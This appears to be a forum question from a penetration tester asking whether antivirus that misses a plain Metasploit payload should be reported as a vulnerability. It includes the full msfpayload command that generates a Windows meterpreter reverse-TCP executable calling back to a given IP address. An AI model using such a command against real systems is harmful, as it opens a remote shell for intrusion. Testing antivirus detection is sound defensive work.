As part of a workstation pen test, I copy a simple metasploit payload onto the workstation, and try to run it. Usually this is blocked by anti-virus software. However, sometimes it isn't (I won't name the offenders). The AV software is running and correctly detects EICAR, but it doesn't detect a simple non-encoded metasploit payload.
My instinct is that this is a failure of the AV software, and should be reported as a vulnerability. However, I wondered if this behaviour might in fact be intended? Are there legitimate arguments that "metasploit is not a virus"?
In this case the payload is windows/meterpreter/reverse_tcp encoded as an exe file, without obfuscation. Generated using this command:
msfpayload windows/meterpreter/reverse_tcp LHOST=126.96.36.199 X > payload.exe